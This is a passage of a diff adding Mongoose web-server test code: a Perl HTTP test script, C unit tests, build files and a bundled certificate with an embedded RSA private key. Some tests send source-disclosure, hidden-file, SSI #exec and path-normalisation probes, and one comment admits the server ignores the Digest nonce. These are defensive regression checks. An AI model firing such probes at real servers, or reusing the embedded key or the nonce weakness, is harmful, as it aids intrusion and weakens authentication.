+
my $f2 = '';
+
foreach (0..123456) { $f2 .= chr(int(rand() * 255)); }
+
write_file("$root/$binary_file", $f2);
+
my $f1 = req("GET /$binary_file HTTP/1.0\r\n\n");
+
while ($f1 =~ /^.*\r\n/) { $f1 =~ s/^.*\r\n// }
+
$f1 eq $f2 or fail("Integrity check for downloaded binary file");
+

+
my $range_request = "GET /hello.txt HTTP/1.1\nConnection: close\n".
+
"Range: bytes=3-5\r\n\r\n";
+
o($range_request, '206 Partial Content', 'Range: 206 status code');
+
o($range_request, 'Content-Length: 3\s', 'Range: Content-Length');
+
o($range_request, 'Content-Range: bytes 3-5/17', 'Range: Content-Range');
+
o($range_request, '\nple$', 'Range: body content');
+

+
# Test directory sorting. Sleep between file creation for 1.1 seconds,
+
# to make sure modification time are different.
+
mkdir "$test_dir/sort";
+
write_file("$test_dir/sort/11", 'xx');
+
select undef, undef, undef, 1.1;
+
write_file("$test_dir/sort/aa", 'xxxx');
+
select undef, undef, undef, 1.1;
+
write_file("$test_dir/sort/bb", 'xxx');
+
select undef, undef, undef, 1.1;
+
write_file("$test_dir/sort/22", 'x');
+

+
o("GET /$test_dir_uri/sort/?n HTTP/1.0\n\n",
+
  '200 OK.+>11<.+>22<.+>aa<.+>bb<',
+
  'Directory listing (name, ascending)');
+
o("GET /$test_dir_uri/sort/?nd HTTP/1.0\n\n",
+
  '200 OK.+>bb<.+>aa<.+>22<.+>11<',
+
  'Directory listing (name, descending)');
+
o("GET /$test_dir_uri/sort/?s HTTP/1.0\n\n",
+
  '200 OK.+>22<.+>11<.+>bb<.+>aa<',
+
  'Directory listing (size, ascending)');
+
o("GET /$test_dir_uri/sort/?sd HTTP/1.0\n\n",
+
  '200 OK.+>aa<.+>bb<.+>11<.+>22<',
+
  'Directory listing (size, descending)');
+
o("GET /$test_dir_uri/sort/?d HTTP/1.0\n\n",
+
  '200 OK.+>11<.+>aa<.+>bb<.+>22<',
+
  'Directory listing (modification time, ascending)');
+
o("GET /$test_dir_uri/sort/?dd HTTP/1.0\n\n",
+
  '200 OK.+>22<.+>bb<.+>aa<.+>11<',
+
  'Directory listing (modification time, descending)');
+

+
unless (scalar(@ARGV) > 0 and $ARGV[0] eq "basic_tests") {
+
  # Check that .htpasswd file existence trigger authorization
+
  write_file("$root/.htpasswd", 'user with space, " and comma:mydomain.com:5deda12442309cbdcdffc6b2737a894f');
+
  o("GET /hello.txt HTTP/1.1\n\n", '401 Unauthorized',
+
    '.htpasswd - triggering auth on file request');
+
  o("GET / HTTP/1.1\n\n", '401 Unauthorized',
+
    '.htpasswd - triggering auth on directory request');
+

+
  # Test various funky things in an authentication header.
+
  o("GET /hello.txt HTTP/1.0\nAuthorization: Digest   eq== empty=\"\", empty2=, quoted=\"blah foo bar, baz\\\"\\\" more\\\"\", unterminatedquoted=\" doesn't stop\n\n",
+
    '401 Unauthorized', 'weird auth values should not cause crashes');
+
  my $auth_header = "Digest username=\"user with space, \\\" and comma\", ".
+
    "realm=\"mydomain.com\", nonce=\"1291376417\", uri=\"/\",".
+
    "response=\"e8dec0c2a1a0c8a7e9a97b4b5ea6a6e6\", qop=auth, nc=00000001, cnonce=\"1a49b53a47a66e82\"";
+
  o("GET /hello.txt HTTP/1.0\nAuthorization: $auth_header\n\n", 'HTTP/1.1 200 OK', 'GET regular file with auth');
+
  o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(.htpasswd)))*$',
+
    '.htpasswd is hidden from the directory list');
+
  o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(exploit.pl)))*$',
+
    'hidden file is hidden from the directory list');
+
  o("GET /.htpasswd HTTP/1.0\nAuthorization: $auth_header\n\n",
+
    '^HTTP/1.1 404 ', '.htpasswd must not be shown');
+
  o("GET /exploit.pl HTTP/1.0\nAuthorization: $auth_header\n\n",
+
    '^HTTP/1.1 404', 'hidden files must not be shown');
+
  unlink "$root/.htpasswd";
+

+

+
  o("GET /env.cgi HTTP/1.0\n\r\n", 'HTTP/1.1 200 OK', 'GET CGI file');
+
  o("GET /bad2.cgi HTTP/1.0\n\n", "HTTP/1.1 123 Please pass me to the client\r",
+
    'CGI Status code text');
+
  o("GET /sh.cgi HTTP/1.0\n\r\n", 'shell script CGI',
+
    'GET sh CGI file') unless on_windows();
+
  o("GET /env.cgi?var=HELLO HTTP/1.0\n\n", 'QUERY_STRING=var=HELLO',
+
    'QUERY_STRING wrong');
+
  o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO",
+
    'var=HELLO', 'CGI POST wrong');
+
  o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO",
+
    '\x0aCONTENT_LENGTH=9', 'Content-Length not being passed to CGI');
+
  o("GET /env.cgi HTTP/1.0\nMy-HdR: abc\n\r\n",
+
    'HTTP_MY_HDR=abc', 'HTTP_* env');
+
  o("GET /env.cgi HTTP/1.0\n\r\nSOME_TRAILING_DATA_HERE",
+
    'HTTP/1.1 200 OK', 'GET CGI with trailing data');
+

+
  o("GET /env.cgi%20 HTTP/1.0\n\r\n",
+
    'HTTP/1.1 404', 'CGI Win32 code disclosure (%20)');
+
  o("GET /env.cgi%ff HTTP/1.0\n\r\n",
+
    'HTTP/1.1 404', 'CGI Win32 code disclosure (%ff)');
+
  o("GET /env.cgi%2e HTTP/1.0\n\r\n",
+
    'HTTP/1.1 404', 'CGI Win32 code disclosure (%2e)');
+
  o("GET /env.cgi%2b HTTP/1.0\n\r\n",
+
    'HTTP/1.1 404', 'CGI Win32 code disclosure (%2b)');
+
  o("GET /env.cgi HTTP/1.0\n\r\n", '\nHTTPS=off\n', 'CGI HTTPS');
+
  o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_FOO=foo\n', '-cgi_env 1');
+
  o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_BAR=bar\n', '-cgi_env 2');
+
  o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_BAZ=baz\n', '-cgi_env 3');
+
  o("GET /env.cgi/a/b/98 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/98\n', 'PATH_INFO');
+
  o("GET /env.cgi/a/b/9 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/9\n', 'PATH_INFO');
+

+
  # Check that CGI's current directory is set to script's directory
+
  my $copy_cmd = on_windows() ? 'copy' : 'cp';
+
  system("$copy_cmd $root" . $dir_separator .  "env.cgi $test_dir" .
+
    $dir_separator . 'env.cgi');
+
  o("GET /$test_dir_uri/env.cgi HTTP/1.0\n\n",
+
    "CURRENT_DIR=.*$root/$test_dir_uri", "CGI chdir()");
+

+
  # SSI tests
+
  o("GET /ssi1.shtml HTTP/1.0\n\n",
+
    'ssi_begin.+CFLAGS.+ssi_end', 'SSI #include file=');
+
  o("GET /ssi2.shtml HTTP/1.0\n\n",
+
    'ssi_begin.+Unit test.+ssi_end', 'SSI #include virtual=');
+
  my $ssi_exec = on_windows() ? 'ssi4.shtml' : 'ssi3.shtml';
+
  o("GET /$ssi_exec HTTP/1.0\n\n",
+
    'ssi_begin.+Makefile.+ssi_end', 'SSI #exec');
+
  my $abs_path = on_windows() ? 'ssi6.shtml' : 'ssi5.shtml';
+
  my $word = on_windows() ? 'boot loader' : 'root';
+
  o("GET /$abs_path HTTP/1.0\n\n",
+
    "ssi_begin.+$word.+ssi_end", 'SSI #include file= (absolute)');
+
  o("GET /ssi7.shtml HTTP/1.0\n\n",
+
    'ssi_begin.+Unit test.+ssi_end', 'SSI #include "..."');
+
  o("GET /ssi8.shtml HTTP/1.0\n\n",
+
    'ssi_begin.+CFLAGS.+ssi_end', 'SSI nested #includes');
+

+
  # Manipulate the passwords file
+
  my $path = 'test_htpasswd';
+
  unlink $path;
+
  system("$exe -A $path a b c") == 0
+
    or fail("Cannot add user in a passwd file");
+
  system("$exe -A $path a b c2") == 0
+
    or fail("Cannot edit user in a passwd file");
+
  my $content = read_file($path);
+
  $content =~ /^b:a:\w+$/gs or fail("Bad content of the passwd file");
+
  unlink $path;
+

+
  do_PUT_test();
+
  kill_spawned_child();
+
  do_unit_test();
+
  do_embedded_test();
+
}
+

+
sub do_PUT_test {
+
  # This only works because mongoose currently doesn't look at the nonce.
+
  # It should really be rejected...
+
  my $auth_header = "Authorization: Digest  username=guest, ".
+
  "realm=mydomain.com, nonce=1145872809, uri=/put.txt, ".
+
  "response=896327350763836180c61d87578037d9, qop=auth, ".
+
  "nc=00000002, cnonce=53eddd3be4e26a98\n";
+

+
  o("PUT /a/put.txt HTTP/1.0\nContent-Length: 7\n$auth_header\n1234567",
+
    "HTTP/1.1 201 OK", 'PUT file, status 201');
+
  fail("PUT content mismatch")
+
  unless read_file("$root/a/put.txt") eq '1234567';
+
  o("PUT /a/put.txt HTTP/1.0\nContent-Length: 4\n$auth_header\nabcd",
+
    "HTTP/1.1 200 OK", 'PUT file, status 200');
+
  fail("PUT content mismatch")
+
  unless read_file("$root/a/put.txt") eq 'abcd';
+
  o("PUT /a/put.txt HTTP/1.0\n$auth_header\nabcd",
+
    "HTTP/1.1 411 Length Required", 'PUT 411 error');
+
  o("PUT /a/put.txt HTTP/1.0\nExpect: blah\nContent-Length: 1\n".
+
    "$auth_header\nabcd",
+
    "HTTP/1.1 417 Expectation Failed", 'PUT 417 error');
+
  o("PUT /a/put.txt HTTP/1.0\nExpect: 100-continue\nContent-Length: 4\n".
+
    "$auth_header\nabcd",
+
    "HTTP/1.1 100 Continue.+HTTP/1.1 200", 'PUT 100-Continue');
+
}
+

+
sub do_unit_test {
+
  my $cmd = "cc -g -W -Wall -o $unit_test_exe $root/unit_test.c -I. ".
+
    "-pthread -DNO_SSL ";
+
  if (on_windows()) {
+
    $cmd = "cl $root/embed.c mongoose.c /I. /nologo /DNO_SSL ".
+
    "/DLISTENING_PORT=\\\"$port\\\" /link /out:$embed_exe.exe ws2_32.lib ";
+
  }
+
  print $cmd, "\n";
+
  system($cmd) == 0 or fail("Cannot compile unit test");
+
  system($unit_test_exe) == 0 or fail("Unit test failed!");
+
}
+

+
sub do_embedded_test {
+
  my $cmd = "cc -W -Wall -o $embed_exe $root/embed.c mongoose.c -I. ".
+
  "-pthread -DNO_SSL -DLISTENING_PORT=\\\"$port\\\"";
+
  if (on_windows()) {
+
    $cmd = "cl $root/embed.c mongoose.c /I. /nologo /DNO_SSL ".
+
    "/DLISTENING_PORT=\\\"$port\\\" /link /out:$embed_exe.exe ws2_32.lib ";
+
  }
+
  print $cmd, "\n";
+
  system($cmd) == 0 or fail("Cannot compile embedded unit test");
+

+
  spawn("./$embed_exe");
+
  o("GET /test_get_header HTTP/1.0\nHost: blah\n\n",
+
    'Value: \[blah\]', 'mg_get_header', 0);
+
  o("GET /test_get_var?a=b&my_var=foo&c=d HTTP/1.0\n\n",
+
    'Value: \[foo\]', 'mg_get_var 1', 0);
+
  o("GET /test_get_var?my_var=foo&c=d HTTP/1.0\n\n",
+
    'Value: \[foo\]', 'mg_get_var 2', 0);
+
  o("GET /test_get_var?a=b&my_var=foo HTTP/1.0\n\n",
+
    'Value: \[foo\]', 'mg_get_var 3', 0);
+
  o("POST /test_get_var HTTP/1.0\nContent-Length: 10\n\n".
+
    "my_var=foo", 'Value: \[foo\]', 'mg_get_var 4', 0);
+
  o("POST /test_get_var HTTP/1.0\nContent-Length: 18\n\n".
+
    "a=b&my_var=foo&c=d", 'Value: \[foo\]', 'mg_get_var 5', 0);
+
  o("POST /test_get_var HTTP/1.0\nContent-Length: 14\n\n".
+
    "a=b&my_var=foo", 'Value: \[foo\]', 'mg_get_var 6', 0);
+
  o("GET /test_get_var?a=one%2btwo&my_var=foo& HTTP/1.0\n\n",
+
    'Value: \[foo\]', 'mg_get_var 7', 0);
+
  o("GET /test_get_var?my_var=one%2btwo&b=two%2b HTTP/1.0\n\n",
+
    'Value: \[one\+two\]', 'mg_get_var 8', 0);
+

+
  # + in form data MUST be decoded to space
+
  o("POST /test_get_var HTTP/1.0\nContent-Length: 10\n\n".
+
    "my_var=b+c", 'Value: \[b c\]', 'mg_get_var 9', 0);
+

+
  # Test that big POSTed vars are not truncated
+
  my $my_var = 'x' x 64000;
+
  o("POST /test_get_var HTTP/1.0\nContent-Length: 64007\n\n".
+
    "my_var=$my_var", 'Value size: \[64000\]', 'mg_get_var 10', 0);
+

+
  # Other methods should also work
+
  o("PUT /test_get_var HTTP/1.0\nContent-Length: 10\n\n".
+
    "my_var=foo", 'Value: \[foo\]', 'mg_get_var 11', 0);
+

+
  o("POST /test_get_request_info?xx=yy HTTP/1.0\nFoo: bar\n".
+
    "Content-Length: 3\n\na=b",
+
    'Method: \[POST\].URI: \[/test_get_request_info\].'.
+
    'HTTP version: \[1.0\].HTTP header \[Foo\]: \[bar\].'.
+
    'HTTP header \[Content-Length\]: \[3\].'.
+
    'Query string: \[xx=yy\].'.
+
    'Remote IP: \[\d+\].Remote port: \[\d+\].'.
+
    'Remote user: \[\]'
+
    , 'request_info', 0);
+
  o("GET /not_exist HTTP/1.0\n\n", 'Error: \[404\]', '404 handler', 0);
+
  o("bad request\n\n", 'Error: \[400\]', '* error handler', 0);
+
#	o("GET /foo/secret HTTP/1.0\n\n",
+
#		'401 Unauthorized', 'mg_protect_uri', 0);
+
#	o("GET /foo/secret HTTP/1.0\nAuthorization: Digest username=bill\n\n",
+
#		'401 Unauthorized', 'mg_protect_uri (bill)', 0);
+
#	o("GET /foo/secret HTTP/1.0\nAuthorization: Digest username=joe\n\n",
+
#		'200 OK', 'mg_protect_uri (joe)', 0);
+

+
  kill_spawned_child();
+
}
+

+
print "SUCCESS! All tests passed.\n";
added plugins/pkg-plugins-serve/mongoose/test/timeout.cgi
@@ -0,0 +1,12 @@
+
#!/usr/bin/env perl
+

+
# Make stdout unbuffered
+
use FileHandle;
+
STDOUT->autoflush(1);
+

+
# This script outputs some content, then sleeps for 5 seconds, then exits.
+
# Web server should return the content immediately after it is sent,
+
# not waiting until the script exits.
+
print "Content-Type: text/html\r\n\r\n";
+
print "Some data";
+
sleep 3;
added plugins/pkg-plugins-serve/mongoose/test/unit_test.c
@@ -0,0 +1,206 @@
+
#include "mongoose.c"
+

+
#define FATAL(str, line) do {                     \
+
  printf("Fail on line %d: [%s]\n", line, str);   \
+
  abort();                                        \
+
} while (0)
+
#define ASSERT(expr) do { if (!(expr)) FATAL(#expr, __LINE__); } while (0)
+

+
static void test_parse_http_request() {
+
  struct mg_request_info ri;
+
  char req1[] = "GET / HTTP/1.1\r\n\r\n";
+
  char req2[] = "BLAH / HTTP/1.1\r\n\r\n";
+
  char req3[] = "GET / HTTP/1.1\r\nBah\r\n";
+
  char req4[] = "GET / HTTP/1.1\r\nA: foo bar\r\nB: bar\r\nbaz\r\n\r\n";
+

+
  ASSERT(parse_http_request(req1, sizeof(req1), &ri) == sizeof(req1) - 1);
+
  ASSERT(strcmp(ri.http_version, "1.1") == 0);
+
  ASSERT(ri.num_headers == 0);
+

+
  ASSERT(parse_http_request(req2, sizeof(req2), &ri) == -1);
+
  ASSERT(parse_http_request(req3, sizeof(req3), &ri) == -1);
+

+
  // TODO(lsm): Fix this. Header value may span multiple lines.
+
  ASSERT(parse_http_request(req4, sizeof(req4), &ri) == sizeof(req4) - 1);
+
  ASSERT(ri.num_headers == 3);
+
  ASSERT(strcmp(ri.http_headers[0].name, "A") == 0);
+
  ASSERT(strcmp(ri.http_headers[0].value, "foo bar") == 0);
+
  ASSERT(strcmp(ri.http_headers[1].name, "B") == 0);
+
  ASSERT(strcmp(ri.http_headers[1].value, "bar") == 0);
+
  ASSERT(strcmp(ri.http_headers[2].name, "baz\r\n\r") == 0);
+
  ASSERT(strcmp(ri.http_headers[2].value, "") == 0);
+

+
  // TODO(lsm): add more tests. 
+
}
+

+
static void test_should_keep_alive(void) {
+
  struct mg_connection conn;
+
  struct mg_context ctx;
+
  char req1[] = "GET / HTTP/1.1\r\n\r\n";
+
  char req2[] = "GET / HTTP/1.0\r\n\r\n";
+
  char req3[] = "GET / HTTP/1.1\r\nConnection: close\r\n\r\n";
+
  char req4[] = "GET / HTTP/1.1\r\nConnection: keep-alive\r\n\r\n";
+

+
  memset(&conn, 0, sizeof(conn));
+
  conn.ctx = &ctx;
+
  parse_http_request(req1, sizeof(req1), &conn.request_info);
+

+
  ctx.config[ENABLE_KEEP_ALIVE] = "no";
+
  ASSERT(should_keep_alive(&conn) == 0);
+

+
  ctx.config[ENABLE_KEEP_ALIVE] = "yes";
+
  ASSERT(should_keep_alive(&conn) == 1);
+

+
  conn.must_close = 1;
+
  ASSERT(should_keep_alive(&conn) == 0);
+

+
  conn.must_close = 0;
+
  parse_http_request(req2, sizeof(req2), &conn.request_info);
+
  ASSERT(should_keep_alive(&conn) == 0);
+

+
  parse_http_request(req3, sizeof(req3), &conn.request_info);
+
  ASSERT(should_keep_alive(&conn) == 0);
+

+
  parse_http_request(req4, sizeof(req4), &conn.request_info);
+
  ASSERT(should_keep_alive(&conn) == 1);
+

+
  conn.request_info.status_code = 401;
+
  ASSERT(should_keep_alive(&conn) == 0);
+

+
  conn.request_info.status_code = 200;
+
  conn.must_close = 1;
+
  ASSERT(should_keep_alive(&conn) == 0);
+
}
+

+
static void test_match_prefix(void) {
+
  ASSERT(match_prefix("/api", 4, "/api") == 4);
+
  ASSERT(match_prefix("/a/", 3, "/a/b/c") == 3);
+
  ASSERT(match_prefix("/a/", 3, "/ab/c") == -1);
+
  ASSERT(match_prefix("/*/", 3, "/ab/c") == 4);
+
  ASSERT(match_prefix("**", 2, "/a/b/c") == 6);
+
  ASSERT(match_prefix("/*", 2, "/a/b/c") == 2);
+
  ASSERT(match_prefix("*/*", 3, "/a/b/c") == 2);
+
  ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
+
  ASSERT(match_prefix("**.foo|**.bar", 13, "a.bar") == 5);
+
  ASSERT(match_prefix("a|b|cd", 6, "cdef") == 2);
+
  ASSERT(match_prefix("a|b|c?", 6, "cdef") == 2);
+
  ASSERT(match_prefix("a|?|cd", 6, "cdef") == 1);
+
  ASSERT(match_prefix("/a/**.cgi", 9, "/foo/bar/x.cgi") == -1);
+
  ASSERT(match_prefix("/a/**.cgi", 9, "/a/bar/x.cgi") == 12);
+
  ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
+
  ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
+
  ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
+
  ASSERT(match_prefix("$", 1, "") == 0);
+
  ASSERT(match_prefix("$", 1, "x") == -1);
+
  ASSERT(match_prefix("*$", 2, "x") == 1);
+
  ASSERT(match_prefix("/$", 2, "/") == 1);
+
  ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
+
  ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
+
  ASSERT(match_prefix("*", 1, "/hello/") == 0);
+
  ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b/") == -1);
+
  ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b") == 6);
+
  ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.a") == 6);
+
}
+

+
static void test_remove_double_dots() {
+
  struct { char before[20], after[20]; } data[] = {
+
    {"////a", "/a"},
+
    {"/.....", "/."},
+
    {"/......", "/"},
+
    {"...", "..."},
+
    {"/...///", "/./"},
+
    {"/a...///", "/a.../"},
+
    {"/.x", "/.x"},
+
#if defined(_WIN32)
+
    {"/\\", "/"},
+
#else
+
    {"/\\", "/\\"},
+
#endif
+
    {"/a\\", "/a\\"},
+
  };
+
  size_t i;
+

+
  for (i = 0; i < ARRAY_SIZE(data); i++) {
+
    //printf("[%s] -> [%s]\n", data[i].before, data[i].after);
+
    remove_double_dots_and_double_slashes(data[i].before);
+
    ASSERT(strcmp(data[i].before, data[i].after) == 0);
+
  }
+
}
+

+
static const char *fetch_data = "hello world!\n";
+
static void *event_handler(enum mg_event event,
+
                           struct mg_connection *conn) {
+
  const struct mg_request_info *request_info = mg_get_request_info(conn);
+
  if (event == MG_NEW_REQUEST && !strcmp(request_info->uri, "/data")) {
+
    mg_printf(conn, "HTTP/1.1 200 OK\r\n"
+
              "Content-Length: %d\r\n"
+
              "Content-Type: text/plain\r\n\r\n"
+
              "%s", (int) strlen(fetch_data), fetch_data);
+
    return "";
+
  } else if (event == MG_EVENT_LOG) {
+
    printf("%s\n", request_info->log_message);
+
  }
+
  
+
  return NULL;
+
}
+

+
static void test_mg_fetch(void) {
+
  static const char *options[] = {
+
    "document_root", ".",
+
    "listening_ports", "33796",
+
    NULL,
+
  };
+
  char buf[2000], buf2[2000];
+
  int length;
+
  struct mg_context *ctx;
+
  struct mg_request_info ri;
+
  const char *tmp_file = "temporary_file_name_for_unit_test.txt";
+
  struct mgstat st;
+
  FILE *fp;
+

+
  ASSERT((ctx = mg_start(event_handler, NULL, options)) != NULL);
+

+
  // Failed fetch, pass invalid URL
+
  ASSERT(mg_fetch(ctx, "localhost", tmp_file, buf, sizeof(buf), &ri) == NULL);
+
  ASSERT(mg_fetch(ctx, "localhost:33796", tmp_file,
+
                  buf, sizeof(buf), &ri) == NULL);
+
  ASSERT(mg_fetch(ctx, "http://$$$.$$$", tmp_file,
+
                  buf, sizeof(buf), &ri) == NULL);
+

+
  // Failed fetch, pass invalid file name
+
  ASSERT(mg_fetch(ctx, "http://localhost:33796/data",
+
                  "/this/file/must/not/exist/ever",
+
                  buf, sizeof(buf), &ri) == NULL);
+

+
  // Successful fetch
+
  ASSERT((fp = mg_fetch(ctx, "http://localhost:33796/data",
+
                        tmp_file, buf, sizeof(buf), &ri)) != NULL);
+
  ASSERT(ri.num_headers == 2);
+
  ASSERT(!strcmp(ri.request_method, "HTTP/1.1"));
+
  ASSERT(!strcmp(ri.uri, "200"));
+
  ASSERT(!strcmp(ri.http_version, "OK"));
+
  ASSERT((length = ftell(fp)) == (int) strlen(fetch_data));
+
  fseek(fp, 0, SEEK_SET);
+
  ASSERT(fread(buf2, 1, length, fp) == (size_t) length);
+
  ASSERT(memcmp(buf2, fetch_data, length) == 0);
+
  fclose(fp);
+

+
  // Fetch big file, mongoose.c
+
  ASSERT((fp = mg_fetch(ctx, "http://localhost:33796/mongoose.c",
+
                        tmp_file, buf, sizeof(buf), &ri)) != NULL);
+
  ASSERT(mg_stat("mongoose.c", &st) == 0);
+
  ASSERT(st.size == ftell(fp));
+
  ASSERT(!strcmp(ri.request_method, "HTTP/1.1"));
+

+
  remove(tmp_file);
+
  mg_stop(ctx);
+
}
+

+
int main(void) {
+
  test_match_prefix();
+
  test_remove_double_dots();
+
  test_should_keep_alive();
+
  test_parse_http_request();
+
  test_mg_fetch();
+
  return 0;
+
}
added plugins/pkg-plugins-serve/mongoose/win32/dll.def
@@ -0,0 +1,15 @@
+
LIBRARY
+
EXPORTS
+
	mg_start
+
	mg_stop
+
	mg_read
+
	mg_write
+
	mg_printf
+
	mg_get_header
+
	mg_get_var
+
	mg_get_cookie
+
	mg_get_option
+
	mg_get_valid_option_names
+
	mg_version
+
	mg_modify_passwords_file
+
	mg_md5
added plugins/pkg-plugins-serve/mongoose/win32/res.rc
@@ -0,0 +1 @@
+
200 ICON DISCARDABLE "systray.ico"
added plugins/pkg-plugins-serve/mongoose/win32/ssl_cert.pem
@@ -0,0 +1,50 @@
+
-----BEGIN RSA PRIVATE KEY-----
+
MIIEogIBAAKCAQEAwONaLOP7EdegqjRuQKSDXzvHmFMZfBufjhELhNjo5KsL4ieH
+
hMSGCcSV6y32hzhqR5lvTViaQez+xhc58NZRu+OUgEhodRBW/vAOjpz/xdMz5HaC
+
EhP3E9W1pkitVseS8B5rrgJo1BfCGai1fPav1nutPq2Kj7vMy24+g460Lonf6ln1
+
di4aTIRtAqXtUU6RFpPJP35PkCXbTK65O8HJSxxt/XtfoezHCU5+UIwmZGYx46UB
+
Wzg3IfK6bGPSiHU3pdiTol0uMPt/GUK+x4NyZJ4/ImsNAicRwMBdja4ywHKXJehH
+
gXBthsVIHbL21x+4ibsg9eVM/XioTV6tW3IrdwIDAQABAoIBACFfdLutmkQFBcRN
+
HAJNNHmmsyr0vcUOVnXTFyYeDXV67qxrYHQlOHe6LqIpKq1Mon7O2kYMnWvooFAP
+
trOnsS6L+qaTYJdYg2TKjgo4ubw1hZXytyB/mdExuaMSkgMgtpia+tB5lD+V+LxN
+
x1DesZ+veFMO3Zluyckswt4qM5yVa04YFrt31H0E1rJfIen61lidXIKYmHHWuRxK
+
SadjFfbcqJ6P9ZF22BOkleg5Fm5NaxJmyQynOWaAkSZa5w1XySFfRjRfsbDr64G6
+
+LSG8YtRuvfxnvUNhynVPHcpE40eiPo6v8Ho6yZKXpV5klCKciodXAORsswSoGJa
+
N3nnu/ECgYEA6Yb2rM3QUEPIALdL8f/OzZ1GBSdiQB2WSAxzl9pR/dLF2H+0pitS
+
to0830mk92ppVmRVD3JGxYDRZQ56tlFXyGaCzJBMRIcsotAhBoNbjV0i9n5bLJYf
+
BmjU9yvWcgsTt0tr3B0FrtYyp2tCvwHqlxvFpFdUCj2oRw2uGpkhmNkCgYEA03M6
+
WxFhsix3y6eVCVvShfbLBSOqp8l0qiTEty+dgVQcWN4CO/5eyaZXKxlCG9KMmKxy
+
Yx+YgxZrDhfaZ0cxhHGPRKEAxM3IKwT2C8/wCaSiLWXZZpTifnSD99vtOt4wEfrG
+
+AghNd5kamFiM9tU0AyvhJc2vdJFuXrfeC7ntM8CgYBGDA+t4cZcbRhu7ow/OKYF
+
kulP3nJgHP/Y+LMrl3cEldZ2jEfZmCElVNQvfd2XwTl7injhOzvzPiKRF3jDez7D
+
g8w0JAxceddvttJRK9GoY4l7OoeKpjUELSnEQkf+yUfOsTbXPXVY7jMfeNL6jE6b
+
qN7t3qv8rmXtejMBE3G6cQKBgGR5W2BMiRSlxqKx1cKlrApV87BUe1HRCyuR3xuA
+
d6Item7Lx1oEi7vb242yKdSYnpApWQ06xTh83Y/Ly87JaIEbiM0+h+P8OEIg0F1a
+
iB+86AcUX1I8KseVy+Np0HbpfwP8GrFfA5DaRPK7pXMopEtby8cAJ1XZZaI1/ZvZ
+
BebHAoGAcQU9WvCkT+nIp9FpXfBybYUsvgkaizMIqp66/l3GYgYAq8p1VLGvN4v5
+
ec0dW58SJrCpqsM3NP78DtEzQf9OOsk+FsjBFzDU2RkeUreyt2/nQBj/2mN/+hEy
+
hYN0Zii2yTb63jGxKY6gH1R/r9dL8kXaJmcZrfSa3AgywnteJWg=
+
-----END RSA PRIVATE KEY-----
+
-----BEGIN CERTIFICATE-----
+
MIIDBjCCAe4CCQCX05m0b053QzANBgkqhkiG9w0BAQQFADBFMQswCQYDVQQGEwJB
+
VTETMBEGA1UECBMKU29tZS1TdGF0ZTEhMB8GA1UEChMYSW50ZXJuZXQgV2lkZ2l0
+
cyBQdHkgTHRkMB4XDTA4MTIwNzEwMjUyMloXDTE4MTIwNTEwMjUyMlowRTELMAkG
+
A1UEBhMCQVUxEzARBgNVBAgTClNvbWUtU3RhdGUxITAfBgNVBAoTGEludGVybmV0
+
IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
+
AMDjWizj+xHXoKo0bkCkg187x5hTGXwbn44RC4TY6OSrC+Inh4TEhgnElest9oc4
+
akeZb01YmkHs/sYXOfDWUbvjlIBIaHUQVv7wDo6c/8XTM+R2ghIT9xPVtaZIrVbH
+
kvAea64CaNQXwhmotXz2r9Z7rT6tio+7zMtuPoOOtC6J3+pZ9XYuGkyEbQKl7VFO
+
kRaTyT9+T5Al20yuuTvByUscbf17X6HsxwlOflCMJmRmMeOlAVs4NyHyumxj0oh1
+
N6XYk6JdLjD7fxlCvseDcmSePyJrDQInEcDAXY2uMsBylyXoR4FwbYbFSB2y9tcf
+
uIm7IPXlTP14qE1erVtyK3cCAwEAATANBgkqhkiG9w0BAQQFAAOCAQEAW4yZdqpB
+
oIdiuXRosr86Sg9FiMg/cn+2OwQ0QIaA8ZBwKsc+wIIHEgXCS8J6316BGQeUvMD+
+
plNe0r4GWzzmlDMdobeQ5arPRB89qd9skE6pAMdLg3FyyfEjz3A0VpskolW5VBMr
+
P5R7uJ1FLgH12RyAjZCWYcCRqEMOffqvyMCH6oAjyDmQOA5IssRKX/HsHntSH/HW
+
W7slTcP45ty1b44Nq22/ubYk0CJRQgqKOIQ3cLgPomN1jNFQbAbfVTaK1DpEysrQ
+
5V8a8gNW+3sVZmV6d1Mj3pN2Le62wUKuV2g6BNU7iiwcoY8HI68aRxz2hVMS+t5f
+
SEGI4JSxV56lYg==
+
-----END CERTIFICATE-----
+
-----BEGIN DH PARAMETERS-----
+
MEYCQQD+ef8hZ4XbdoyIpJyCTF2UrUEfX6mYDvxuS5O1UNYcslUqlj6JkA11e/yS
+
6DK8Z86W6mSj5CEk4IjbyEOECXH7AgEC
+
-----END DH PARAMETERS-----
added plugins/pkg-plugins-serve/mongoose/win32/systray.ico
added plugins/pkg-plugins-serve/plugin/Makefile
@@ -0,0 +1,22 @@
+
.include <bsd.own.mk>
+

+
LIB=		pkg-plugin-serve
+
INCS=		serve.h
+
WARNS=		6
+
PREFIX?=	/usr/local
+
LIBDIR=		${PREFIX}/lib
+
INCLUDEDIR=	${PREFIX}/include
+
SHLIB_MAJOR=	0
+

+
SRCS=		serve.c
+

+
CFLAGS+=	-std=c99 -fPIC -shared
+
CFLAGS+=	-I${INCLUDEDIR} \
+
		-I${.CURDIR}/../mongoose
+

+
LDADD+=		-L${.OBJDIR}/../mongoose \
+
		-lmongoose
+

+
DEBUG_FLAGS+=  -g -O0
+

+
.include <bsd.lib.mk>
added plugins/pkg-plugins-serve/plugin/serve.c
@@ -0,0 +1,131 @@
+
/*
